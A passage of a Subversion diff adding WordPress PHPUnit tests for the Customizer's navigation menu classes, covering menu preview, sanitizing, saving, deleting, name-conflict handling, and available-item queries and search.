+		);
+
+		$setting->preview();
+		$value = $setting->value();
+		$this->assertEquals( 'Name 2 \\o/', $value['name'] );
+		$this->assertEquals( 'Description 2 \\o/', $value['description'] );
+		$this->assertEquals( 1, $value['parent'] );
+		$term = (array) wp_get_nav_menu_object( $menu_id );
+		$this->assertEqualSets( $value, wp_array_slice_assoc( $term, array_keys( $value ) ) );
+
+		$menu_object = wp_get_nav_menu_object( $menu_id );
+		$this->assertEquals( (object) $term, $menu_object );
+		$this->assertEquals( $post_value['name'], $menu_object->name );
+
+		$nav_menu_options = get_option( 'nav_menu_options', array( 'auto_add' => array() ) );
+		$this->assertContains( $menu_id, $nav_menu_options['auto_add'] );
+
+		$menus = wp_get_nav_menus();
+		$menus_ids = wp_list_pluck( $menus, 'term_id' );
+		$i = array_search( $menu_id, $menus_ids );
+		$this->assertInternalType( 'int', $i, 'Update-previewed menu does not appear in wp_get_nav_menus()' );
+		$filtered_menu = $menus[ $i ];
+		$this->assertEquals( 'Name 2 \\o/', $filtered_menu->name );
+	}
+
+	/**
+	 * Test preview method for inserted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::preview()
+	 */
+	function test_preview_inserted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = -123;
+		$post_value = array(
+			'name' => 'New Menu Name 1 \\o/',
+			'description' => 'New Menu Description 1 \\o/',
+			'parent' => 0,
+			'auto_add' => false,
+		);
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+
+		$this->wp_customize->set_post_value( $setting->id, $post_value );
+		$setting->preview();
+		$value = $setting->value();
+		$this->assertEquals( $post_value, $value );
+
+		$term = (array) wp_get_nav_menu_object( $menu_id );
+		$this->assertNotEmpty( $term );
+		$this->assertNotInstanceOf( 'WP_Error', $term );
+		$this->assertEqualSets( $post_value, wp_array_slice_assoc( $term, array_keys( $value ) ) );
+		$this->assertEquals( $menu_id, $term['term_id'] );
+		$this->assertEquals( $menu_id, $term['term_taxonomy_id'] );
+
+		$menu_object = wp_get_nav_menu_object( $menu_id );
+		$this->assertEquals( (object) $term, $menu_object );
+		$this->assertEquals( $post_value['name'], $menu_object->name );
+
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$this->assertNotContains( $menu_id, $nav_menu_options['auto_add'] );
+
+		$menus = wp_get_nav_menus();
+		$menus_ids = wp_list_pluck( $menus, 'term_id' );
+		$i = array_search( $menu_id, $menus_ids );
+		$this->assertInternalType( 'int', $i, 'Insert-previewed menu was not injected into wp_get_nav_menus()' );
+		$filtered_menu = $menus[ $i ];
+		$this->assertEquals( 'New Menu Name 1 \\o/', $filtered_menu->name );
+	}
+
+	/**
+	 * Test preview method for deleted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::preview()
+	 */
+	function test_preview_deleted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_update_nav_menu_object( 0, wp_slash( array(
+			'menu-name' => 'Name 1 \\o/',
+			'description' => 'Description 1 \\o/',
+			'parent' => 0,
+		) ) );
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$nav_menu_options['auto_add'][] = $menu_id;
+		update_option( 'nav_menu_options', $nav_menu_options );
+
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$this->assertContains( $menu_id, $nav_menu_options['auto_add'] );
+
+		$this->wp_customize->set_post_value( $setting_id, false );
+
+		$this->assertInternalType( 'array', $setting->value() );
+		$this->assertInternalType( 'object', wp_get_nav_menu_object( $menu_id ) );
+		$setting->preview();
+		$this->assertFalse( $setting->value() );
+		$this->assertFalse( wp_get_nav_menu_object( $menu_id ) );
+
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$this->assertNotContains( $menu_id, $nav_menu_options['auto_add'] );
+	}
+
+	/**
+	 * Test sanitize method.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::sanitize()
+	 */
+	function test_sanitize() {
+		do_action( 'customize_register', $this->wp_customize );
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, 'nav_menu[123]' );
+
+		$this->assertNull( $setting->sanitize( 'not an array' ) );
+		$this->assertNull( $setting->sanitize( 123 ) );
+
+		$value = array(
+			'name' => ' Hello \\o/ <b>world</b> ',
+			'description' => "New\nline \\o/",
+			'parent' => -12,
+			'auto_add' => true,
+			'extra' => 'ignored',
+		);
+		$sanitized = $setting->sanitize( $value );
+		$this->assertEquals( 'Hello \\o/ &lt;b&gt;world&lt;/b&gt;', $sanitized['name'] );
+		$this->assertEquals( 'New line \\o/', $sanitized['description'] );
+		$this->assertEquals( 0, $sanitized['parent'] );
+		$this->assertEquals( true, $sanitized['auto_add'] );
+		$this->assertEqualSets( array( 'name', 'description', 'parent', 'auto_add' ), array_keys( $sanitized ) );
+
+		$value['name'] = '    '; // Blank spaces.
+		$sanitized = $setting->sanitize( $value );
+		$this->assertEquals( '(unnamed)', $sanitized['name'] );
+	}
+
+	/**
+	 * Test protected update() method via the save() method, for updated menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 */
+	function test_save_updated() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = wp_update_nav_menu_object( 0, wp_slash( array(
+			'menu-name' => 'Name 1 \\o/',
+			'description' => 'Description 1 \\o/',
+			'parent' => 0,
+		) ) );
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$nav_menu_options['auto_add'][] = $menu_id;
+		update_option( 'nav_menu_options', $nav_menu_options );
+
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+
+		$auto_add = false;
+		$new_value = array(
+			'name' => 'Name 2 \\o/',
+			'description' => 'Description 2 \\o/',
+			'parent' => 1,
+			'auto_add' => $auto_add,
+		);
+
+		$this->wp_customize->set_post_value( $setting_id, $new_value );
+		$setting->save();
+
+		$menu_object = wp_get_nav_menu_object( $menu_id );
+		foreach ( array( 'name', 'description', 'parent' ) as $key ) {
+			$this->assertEquals( $new_value[ $key ], $menu_object->$key );
+		}
+		$this->assertEqualSets(
+			wp_array_slice_assoc( $new_value, array( 'name', 'description', 'parent' ) ),
+			wp_array_slice_assoc( (array) $menu_object, array( 'name', 'description', 'parent' ) )
+		);
+		$this->assertEquals( $new_value, $setting->value() );
+
+		$save_response = apply_filters( 'customize_save_response', array() );
+		$this->assertArrayHasKey( 'nav_menu_updates', $save_response );
+		$update_result = array_shift( $save_response['nav_menu_updates'] );
+		$this->assertArrayHasKey( 'term_id', $update_result );
+		$this->assertArrayHasKey( 'previous_term_id', $update_result );
+		$this->assertArrayHasKey( 'error', $update_result );
+		$this->assertArrayHasKey( 'status', $update_result );
+		$this->assertArrayHasKey( 'saved_value', $update_result );
+		$this->assertEquals( $new_value, $update_result['saved_value'] );
+
+		$this->assertEquals( $menu_id, $update_result['term_id'] );
+		$this->assertNull( $update_result['previous_term_id'] );
+		$this->assertNull( $update_result['error'] );
+		$this->assertEquals( 'updated', $update_result['status'] );
+
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$this->assertNotContains( $menu_id, $nav_menu_options['auto_add'] );
+	}
+
+	/**
+	 * Test protected update() method via the save() method, for inserted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 */
+	function test_save_inserted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_id = -123;
+		$post_value = array(
+			'name' => 'New Menu Name 1 \\o/',
+			'description' => 'New Menu Description 1 \\o/',
+			'parent' => 0,
+			'auto_add' => true,
+		);
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+
+		$this->wp_customize->set_post_value( $setting->id, $post_value );
+
+		$this->assertNull( $setting->previous_term_id );
+		$this->assertLessThan( 0, $setting->term_id );
+		$setting->save();
+		$this->assertEquals( $menu_id, $setting->previous_term_id );
+		$this->assertGreaterThan( 0, $setting->term_id );
+
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$this->assertContains( $setting->term_id, $nav_menu_options['auto_add'] );
+
+		$menu = wp_get_nav_menu_object( $setting->term_id );
+		unset( $post_value['auto_add'] );
+		$this->assertEqualSets( $post_value, wp_array_slice_assoc( (array) $menu, array_keys( $post_value ) ) );
+
+		$save_response = apply_filters( 'customize_save_response', array() );
+		$this->assertArrayHasKey( 'nav_menu_updates', $save_response );
+		$update_result = array_shift( $save_response['nav_menu_updates'] );
+		$this->assertArrayHasKey( 'term_id', $update_result );
+		$this->assertArrayHasKey( 'previous_term_id', $update_result );
+		$this->assertArrayHasKey( 'error', $update_result );
+		$this->assertArrayHasKey( 'status', $update_result );
+		$this->assertArrayHasKey( 'saved_value', $update_result );
+		$this->assertEquals( $setting->value(), $update_result['saved_value'] );
+
+		$this->assertEquals( $menu->term_id, $update_result['term_id'] );
+		$this->assertEquals( $menu_id, $update_result['previous_term_id'] );
+		$this->assertNull( $update_result['error'] );
+		$this->assertEquals( 'inserted', $update_result['status'] );
+	}
+
+	/**
+	 * Test saving a new name that conflicts with an existing nav menu's name.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 */
+	function test_save_inserted_conflicted_name() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_name = 'Foo';
+		wp_update_nav_menu_object( 0, wp_slash( array( 'menu-name' => $menu_name ) ) );
+
+		$menu_id = -123;
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+		$this->wp_customize->set_post_value( $setting->id, array( 'name' => $menu_name ) );
+		$setting->save();
+
+		$expected_resolved_menu_name = "$menu_name (2)";
+		$new_menu = wp_get_nav_menu_object( $setting->term_id );
+		$this->assertEquals( $expected_resolved_menu_name, $new_menu->name );
+
+		$save_response = apply_filters( 'customize_save_response', array() );
+		$this->assertEquals( $expected_resolved_menu_name, $save_response['nav_menu_updates'][0]['saved_value']['name'] );
+	}
+
+	/**
+	 * Test protected update() method via the save() method, for deleted menu.
+	 *
+	 * @see WP_Customize_Nav_Menu_Setting::update()
+	 */
+	function test_save_deleted() {
+		do_action( 'customize_register', $this->wp_customize );
+
+		$menu_name = 'Lorem Ipsum \\o/';
+		$menu_id = wp_create_nav_menu( wp_slash( $menu_name ) );
+		$setting_id = "nav_menu[$menu_id]";
+		$setting = new WP_Customize_Nav_Menu_Setting( $this->wp_customize, $setting_id );
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$nav_menu_options['auto_add'][] = $menu_id;
+		update_option( 'nav_menu_options', $nav_menu_options );
+
+		$menu = wp_get_nav_menu_object( $menu_id );
+		$this->assertEquals( $menu_name, $menu->name );
+
+		$this->wp_customize->set_post_value( $setting_id, false );
+		$setting->save();
+
+		$this->assertFalse( wp_get_nav_menu_object( $menu_id ) );
+
+		$save_response = apply_filters( 'customize_save_response', array() );
+		$this->assertArrayHasKey( 'nav_menu_updates', $save_response );
+		$update_result = array_shift( $save_response['nav_menu_updates'] );
+		$this->assertArrayHasKey( 'term_id', $update_result );
+		$this->assertArrayHasKey( 'previous_term_id', $update_result );
+		$this->assertArrayHasKey( 'error', $update_result );
+		$this->assertArrayHasKey( 'status', $update_result );
+		$this->assertArrayHasKey( 'saved_value', $update_result );
+		$this->assertNull( $update_result['saved_value'] );
+
+		$this->assertEquals( $menu_id, $update_result['term_id'] );
+		$this->assertNull( $update_result['previous_term_id'] );
+		$this->assertNull( $update_result['error'] );
+		$this->assertEquals( 'deleted', $update_result['status'] );
+
+		$nav_menu_options = $this->get_nav_menu_items_option();
+		$this->assertNotContains( $menu_id, $nav_menu_options['auto_add'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/customize/nav-menus.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/customize/nav-menus.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/customize/nav-menus.php	(revision 56912)
@@ -0,0 +1,1051 @@
+<?php
+
+/**
+ * Tests WP_Customize_Nav_Menus.
+ *
+ * @group customize
+ */
+class Test_WP_Customize_Nav_Menus extends WP_UnitTestCase {
+
+	/**
+	 * Instance of WP_Customize_Manager which is reset for each test.
+	 *
+	 * @var WP_Customize_Manager
+	 */
+	public $wp_customize;
+
+	/**
+	 * Set up a test case.
+	 *
+	 * @see WP_UnitTestCase::setup()
+	 */
+	function setUp() {
+		parent::setUp();
+		require_once ABSPATH . WPINC . '/class-wp-customize-manager.php';
+		wp_set_current_user( self::factory()->user->create( array( 'role' => 'administrator' ) ) );
+		global $wp_customize;
+		$this->wp_customize = new WP_Customize_Manager();
+		$wp_customize = $this->wp_customize;
+	}
+
+	/**
+	 * Delete the $wp_customize global when cleaning up scope.
+	 */
+	function clean_up_global_scope() {
+		global $wp_customize;
+		$wp_customize = null;
+		parent::clean_up_global_scope();
+	}
+
+	/**
+	 * Filter to add custom menu item types.
+	 *
+	 * @param array $items Menu item types.
+	 * @return array Menu item types.
+	 */
+	function filter_item_types( $items ) {
+		$items[] = array(
+			'title' => 'Custom',
+			'type' => 'custom_type',
+			'object' => 'custom_object',
+			'type_label' => 'Custom Type',
+		);
+
+		return $items;
+	}
+
+	/**
+	 * Filter to add custom menu items.
+	 *
+	 * @param array  $items  The menu items.
+	 * @param string $type   The object type (e.g. taxonomy).
+	 * @param string $object The object name (e.g. category).
+	 * @return array Menu items.
+	 */
+	function filter_items( $items, $type, $object ) {
+		$items[] = array(
+			'id'         => 'custom-1',
+			'title'      => 'Cool beans',
+			'type'       => $type,
+			'type_label' => 'Custom Label',
+			'object'     => $object,
+			'url'        => home_url( '/cool-beans/' ),
+			'classes'    => 'custom-menu-item cool-beans',
+		);
+
+		return $items;
+	}
+
+	/**
+	 * Test constructor.
+	 *
+	 * @see WP_Customize_Nav_Menus::__construct()
+	 */
+	function test_construct() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+		$this->assertInstanceOf( 'WP_Customize_Manager', $menus->manager );
+
+		$this->assertEquals( 10, add_filter( 'customize_refresh_nonces', array( $menus, 'filter_nonces' ) ) );
+		$this->assertEquals( 10, add_action( 'wp_ajax_load-available-menu-items-customizer', array( $menus, 'ajax_load_available_items' ) ) );
+		$this->assertEquals( 10, add_action( 'wp_ajax_search-available-menu-items-customizer', array( $menus, 'ajax_search_available_items' ) ) );
+		$this->assertEquals( 10, add_action( 'wp_ajax_customize-nav-menus-insert-auto-draft', array( $menus, 'ajax_insert_auto_draft_post' ) ) );
+		$this->assertEquals( 10, add_action( 'customize_controls_enqueue_scripts', array( $menus, 'enqueue_scripts' ) ) );
+		$this->assertEquals( 11, add_action( 'customize_register', array( $menus, 'customize_register' ) ) );
+		$this->assertEquals( 10, add_filter( 'customize_dynamic_setting_args', array( $menus, 'filter_dynamic_setting_args' ) ) );
+		$this->assertEquals( 10, add_filter( 'customize_dynamic_setting_class', array( $menus, 'filter_dynamic_setting_class' ) ) );
+		$this->assertEquals( 10, add_action( 'customize_controls_print_footer_scripts', array( $menus, 'print_templates' ) ) );
+		$this->assertEquals( 10, add_action( 'customize_controls_print_footer_scripts', array( $menus, 'available_items_template' ) ) );
+		$this->assertEquals( 10, add_action( 'customize_preview_init', array( $menus, 'customize_preview_init' ) ) );
+		$this->assertEquals( 10, add_action( 'customize_preview_init', array( $menus, 'make_auto_draft_status_previewable' ) ) );
+		$this->assertEquals( 10, add_action( 'customize_save_nav_menus_created_posts', array( $menus, 'save_nav_menus_created_posts' ) ) );
+		$this->assertEquals( 10, add_filter( 'customize_dynamic_partial_args', array( $menus, 'customize_dynamic_partial_args' ) ) );
+	}
+
+	/**
+	 * Test that the load_available_items_query method returns a WP_Error object.
+	 *
+	 * @see WP_Customize_Nav_Menus::load_available_items_query()
+	 */
+	function test_load_available_items_query_returns_wp_error() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		// Invalid post type $obj_name.
+		$items = $menus->load_available_items_query( 'post_type', 'invalid' );
+		$this->assertInstanceOf( 'WP_Error', $items );
+		$this->assertEquals( 'nav_menus_invalid_post_type', $items->get_error_code() );
+
+		// Invalid taxonomy $obj_name.
+		$items = $menus->load_available_items_query( 'taxonomy', 'invalid' );
+		$this->assertInstanceOf( 'WP_Error', $items );
+		$this->assertEquals( 'invalid_taxonomy', $items->get_error_code() );
+	}
+
+	/**
+	 * Test the load_available_items_query method maybe returns the home page item.
+	 *
+	 * @see WP_Customize_Nav_Menus::load_available_items_query()
+	 */
+	function test_load_available_items_query_maybe_returns_home() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		// Expected menu item array.
+		$expected = array(
+			'id'         => 'home',
+			'title'      => _x( 'Home', 'nav menu home label' ),
+			'type'       => 'custom',
+			'type_label' => __( 'Custom Link' ),
+			'object'     => '',
+			'url'        => home_url(),
+		);
+
+		// Create pages.
+		self::factory()->post->create_many( 12, array( 'post_type' => 'page' ) );
+
+		// Home is included in menu items when page is zero.
+		$items = $menus->load_available_items_query( 'post_type', 'page', 0 );
+		$this->assertContains( $expected, $items );
+
+		// Home is not included in menu items when page is larger than zero.
+		$items = $menus->load_available_items_query( 'post_type', 'page', 1 );
+		$this->assertNotEmpty( $items );
+		$this->assertNotContains( $expected, $items );
+	}
+
+	/**
+	 * Test the load_available_items_query method returns post item.
+	 *
+	 * @see WP_Customize_Nav_Menus::load_available_items_query()
+	 */
+	function test_load_available_items_query_returns_post_item_with_page_number() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		// Create page.
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Post Title' ) );
+
+		// Create pages.
+		self::factory()->post->create_many( 10 );
+
+		// Expected menu item array.
+		$expected = array(
+			'id'         => "post-{$post_id}",
+			'title'      => 'Post Title',
+			'type'       => 'post_type',
+			'type_label' => 'Post',
+			'object'     => 'post',
+			'object_id'  => intval( $post_id ),
+			'url'        => get_permalink( intval( $post_id ) ),
+		);
+
+		// Offset the query and get the second page of menu items.
+		$items = $menus->load_available_items_query( 'post_type', 'post', 1 );
+		$this->assertContains( $expected, $items );
+	}
+
+	/**
+	 * Test the load_available_items_query method returns page item.
+	 *
+	 * @see WP_Customize_Nav_Menus::load_available_items_query()
+	 */
+	function test_load_available_items_query_returns_page_item() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		// Create page.
+		$page_id = self::factory()->post->create( array( 'post_title' => 'Page Title', 'post_type' => 'page' ) );
+
+		// Expected menu item array.
+		$expected = array(
+			'id'         => "post-{$page_id}",
+			'title'      => 'Page Title',
+			'type'       => 'post_type',
+			'type_label' => 'Page',
+			'object'     => 'page',
+			'object_id'  => intval( $page_id ),
+			'url'        => get_permalink( intval( $page_id ) ),
+		);
+
+		$items = $menus->load_available_items_query( 'post_type', 'page', 0 );
+		$this->assertContains( $expected, $items );
+	}
+
+	/**
+	 * Test the load_available_items_query method returns post item.
+	 *
+	 * @see WP_Customize_Nav_Menus::load_available_items_query()
+	 */
+	function test_load_available_items_query_returns_post_item() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		// Create post.
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Post Title' ) );
+
+		// Expected menu item array.
+		$expected = array(
+			'id'         => "post-{$post_id}",
+			'title'      => 'Post Title',
+			'type'       => 'post_type',
+			'type_label' => 'Post',
+			'object'     => 'post',
+			'object_id'  => intval( $post_id ),
+			'url'        => get_permalink( intval( $post_id ) ),
+		);
+
+		$items = $menus->load_available_items_query( 'post_type', 'post', 0 );
+		$this->assertContains( $expected, $items );
+	}
+
+	/**
+	 * Test the load_available_items_query method returns term item.
+	 *
+	 * @see WP_Customize_Nav_Menus::load_available_items_query()
+	 */
+	function test_load_available_items_query_returns_term_item() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		// Create term.
+		$term_id = self::factory()->category->create( array( 'name' => 'Term Title' ) );
+
+		// Expected menu item array.
+		$expected = array(
+			'id'         => "term-{$term_id}",
+			'title'      => 'Term Title',
+			'type'       => 'taxonomy',
+			'type_label' => 'Category',
+			'object'     => 'category',
+			'object_id'  => intval( $term_id ),
+			'url'        => get_term_link( intval( $term_id ), 'category' ),
+		);
+
+		$items = $menus->load_available_items_query( 'taxonomy', 'category', 0 );
+		$this->assertContains( $expected, $items );
+	}
+
+	/**
+	 * Test the load_available_items_query method returns custom item.
+	 *
+	 * @see WP_Customize_Nav_Menus::load_available_items_query()
+	 */
+	function test_load_available_items_query_returns_custom_item() {
+		add_filter( 'customize_nav_menu_available_item_types', array( $this, 'filter_item_types' ) );
+		add_filter( 'customize_nav_menu_available_items', array( $this, 'filter_items' ), 10, 4 );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		// Expected menu item array.
+		$expected = array(
+			'id'         => 'custom-1',
+			'title'      => 'Cool beans',
+			'type'       => 'custom_type',
+			'type_label' => 'Custom Label',
+			'object'     => 'custom_object',
+			'url'        => home_url( '/cool-beans/' ),
+			'classes'    => 'custom-menu-item cool-beans',
+		);
+
+		$items = $menus->load_available_items_query( 'custom_type', 'custom_object', 0 );
+		$this->assertContains( $expected, $items );
+	}
+
+	/**
+	 * Test the search_available_items_query method.
+	 *
+	 * @see WP_Customize_Nav_Menus::search_available_items_query()
+	 */
+	function test_search_available_items_query() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+		do_action( 'customize_register', $this->wp_customize );
+
+		// Create posts.
+		$post_ids = array();
+		$post_ids[] = self::factory()->post->create( array( 'post_title' => 'Search & Test' ) );
+		$post_ids[] = self::factory()->post->create( array( 'post_title' => 'Some Other Title' ) );
+
+		// Create terms.
+		$term_ids = array();
+		$term_ids[] = self::factory()->category->create( array( 'name' => 'Dogs Are Cool' ) );
+		$term_ids[] = self::factory()->category->create( array( 'name' => 'Cats Drool' ) );
+
+		// Test empty results.
+		$expected = array();
+		$results = $menus->search_available_items_query( array( 'pagenum' => 1, 's' => 'This Does NOT Exist' ) );
+		$this->assertEquals( $expected, $results );
+
+		// Test posts.
+		foreach ( $post_ids as $post_id ) {
+			$expected = array(
+				'id'         => 'post-' . $post_id,
+				'title'      => html_entity_decode( get_the_title( $post_id ) ),
+				'type'       => 'post_type',
+				'type_label' => get_post_type_object( 'post' )->labels->singular_name,
+				'object'     => 'post',
+				'object_id'  => intval( $post_id ),
+				'url'        => get_permalink( intval( $post_id ) ),
+			);
+			wp_set_object_terms( $post_id, $term_ids, 'category' );
+			$search = $post_id === $post_ids[0] ? 'test & search' : 'other title';
+			$s = sanitize_text_field( wp_unslash( $search ) );
+			$results = $menus->search_available_items_query( array( 'pagenum' => 1, 's' => $s ) );
+			$this->assertEquals( $expected, $results[0] );
+		}
+
+		// Test terms.
+		foreach ( $term_ids as $term_id ) {
+			$term = get_term_by( 'id', $term_id, 'category' );
+			$expected = array(
+				'id'         => 'term-' . $term_id,
+				'title'      => $term->name,
+				'type'       => 'taxonomy',
+				'type_label' => get_taxonomy( 'category' )->labels->singular_name,
+				'object'     => 'category',
+				'object_id'  => intval( $term_id ),
+				'url'        => get_term_link( intval( $term_id ), 'category' ),
+			);
+			$s = sanitize_text_field( wp_unslash( $term->name ) );
+			$results = $menus->search_available_items_query( array( 'pagenum' => 1, 's' => $s ) );
+			$this->assertEquals( $expected, $results[0] );
+		}
+
+		// Test filtered results.
+		$results = $menus->search_available_items_query( array( 'pagenum' => 1, 's' => 'cat' ) );
+		$this->assertEquals( 1, count( $results ) );
+		$count = $this->filter_count_customize_nav_menu_searched_items;
+		add_filter( 'customize_nav_menu_searched_items', array( $this, 'filter_search' ), 10, 2 );
+		$results = $menus->search_available_items_query( array( 'pagenum' => 1, 's' => 'cat' ) );
+		$this->assertEquals( $count + 1, $this->filter_count_customize_nav_menu_searched_items );
+		$this->assertInternalType( 'array', $results );
+		$this->assertEquals( 2, count( $results ) );
+		remove_filter( 'customize_nav_menu_searched_items', array( $this, 'filter_search' ), 10 );
+
+		// Test home.
+		$title   = _x( 'Home', 'nav menu home label' );
+		$results = $menus->search_available_items_query(
+			array(
+				'pagenum' => 1,
+				's'       => $title,
+			)
+		);
+		$this->assertCount( 1, $results );
+		$this->assertEquals( 'home', $results[0]['id'] );
+		$this->assertEquals( 'custom', $results[0]['type'] );
+	}
+
+	/**
+	 * Count for number of times customize_nav_menu_searched_items filtered.
+	 *
+	 * @var int
+	 */
+	protected $filter_count_customize_nav_menu_searched_items = 0;
+
+	/**
+	 * Filter to search menu items.
+	 *
+	 * @param array $items Items.
+	 * @param array $args {
+	 *     Search args.
+	 *
+	 *     @type int    $pagenum Page number.
+	 *     @type string $s       Search string.
+	 * }
+	 * @return array Items.
+	 */
+	function filter_search( $items, $args ) {
+		$this->assertInternalType( 'array', $items );
+		$this->assertInternalType( 'array', $args );
+		$this->assertArrayHasKey( 's', $args );
+		$this->assertArrayHasKey( 'pagenum', $args );
+		$this->filter_count_customize_nav_menu_searched_items += 1;
+
+		if ( 'cat' === $args['s'] ) {
+			array_unshift( $items, array(
+				'id'         => 'home',
+				'title'      => 'COOL CAT!',
+				'type'       => 'custom',
+				'type_label' => __( 'Custom Link' ),
+				'object'     => '',
+				'url'        => home_url( '/cool-cat' ),
+			) );
+		}
+		return $items;
+	}
+
+	/**
+	 * Test the enqueue method.
+	 *
+	 * @see WP_Customize_Nav_Menus::enqueue_scripts()
+	 */
+	function test_enqueue_scripts() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+		$menus->enqueue_scripts();
+		$this->assertTrue( wp_script_is( 'customize-nav-menus' ) );
+
+		wp_dequeue_style( 'customize-nav-menus' );
+		wp_dequeue_script( 'customize-nav-menus' );
+	}
+
+	/**
+	 * Test the filter_dynamic_setting_args method.
+	 *
+	 * @see WP_Customize_Nav_Menus::filter_dynamic_setting_args()
+	 */
+	function test_filter_dynamic_setting_args() {
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$expected = array( 'type' => 'nav_menu_item' );
+		$results = $menus->filter_dynamic_setting_args( $this->wp_customize, 'nav_menu_item[123]' );
+		$this->assertEquals( $expected['type'], $results['type'] );
+
+		$expected = array( 'type' => 'nav_menu' );
+		$results = $menus->filter_dynamic_setting_args( $this->wp_customize, 'nav_menu[123]' );
+		$this->assertEquals( $expected['type'], $results['type'] );
+	}
+
+	/**
+	 * Test the filter_dynamic_setting_class method.
+	 *
+	 * @see WP_Customize_Nav_Menus::filter_dynamic_setting_class()
+	 */
+	function test_filter_dynamic_setting_class() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$expected = 'WP_Customize_Nav_Menu_Item_Setting';
+		$results = $menus->filter_dynamic_setting_class( 'WP_Customize_Setting', 'nav_menu_item[123]', array( 'type' => 'nav_menu_item' ) );
+		$this->assertEquals( $expected, $results );
+
+		$expected = 'WP_Customize_Nav_Menu_Setting';
+		$results = $menus->filter_dynamic_setting_class( 'WP_Customize_Setting', 'nav_menu[123]', array( 'type' => 'nav_menu' ) );
+		$this->assertEquals( $expected, $results );
+	}
+
+	/**
+	 * Test the customize_register method.
+	 *
+	 * @see WP_Customize_Nav_Menus::customize_register()
+	 */
+	function test_customize_register() {
+		do_action( 'customize_register', $this->wp_customize );
+		$menu_id = wp_create_nav_menu( 'Primary' );
+		$post_id = self::factory()->post->create( array( 'post_title' => 'Hello World' ) );
+		$item_id = wp_update_nav_menu_item( $menu_id, 0, array(
+			'menu-item-type'      => 'post_type',
+			'menu-item-object'    => 'post',
+			'menu-item-object-id' => $post_id,
+			'menu-item-title'     => 'Hello World',
+			'menu-item-status'    => 'publish',
+		) );
+		do_action( 'customize_register', $this->wp_customize );
+		$this->assertInstanceOf( 'WP_Customize_Nav_Menu_Item_Setting', $this->wp_customize->get_setting( "nav_menu_item[$item_id]" ) );
+		$this->assertEquals( 'Primary', $this->wp_customize->get_section( "nav_menu[$menu_id]" )->title );
+		$this->assertEquals( 'Hello World', $this->wp_customize->get_control( "nav_menu_item[$item_id]" )->label );
+
+		$nav_menus_created_posts_setting = $this->wp_customize->get_setting( 'nav_menus_created_posts' );
+		$this->assertInstanceOf( 'WP_Customize_Filter_Setting', $nav_menus_created_posts_setting );
+		$this->assertEquals( 'postMessage', $nav_menus_created_posts_setting->transport );
+		$this->assertEquals( array(), $nav_menus_created_posts_setting->default );
+		$this->assertEquals( array( $this->wp_customize->nav_menus, 'sanitize_nav_menus_created_posts' ), $nav_menus_created_posts_setting->sanitize_callback );
+	}
+
+	/**
+	 * Test the intval_base10 method.
+	 *
+	 * @see WP_Customize_Nav_Menus::intval_base10()
+	 */
+	function test_intval_base10() {
+
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$this->assertEquals( 2, $menus->intval_base10( 2 ) );
+		$this->assertEquals( 4, $menus->intval_base10( 4.1 ) );
+		$this->assertEquals( 4, $menus->intval_base10( '4' ) );
+		$this->assertEquals( 4, $menus->intval_base10( '04' ) );
+		$this->assertEquals( 42, $menus->intval_base10( +42 ) );
+		$this->assertEquals( -42, $menus->intval_base10( -42 ) );
+		$this->assertEquals( 26, $menus->intval_base10( 0x1A ) );
+		$this->assertEquals( 0, $menus->intval_base10( array() ) );
+	}
+
+	/**
+	 * Test the available_item_types method.
+	 *
+	 * @see WP_Customize_Nav_Menus::available_item_types()
+	 */
+	function test_available_item_types() {
+
+		$menus = new WP_Customize_Nav_Menus( $this->wp_customize );
+
+		$expected = array(
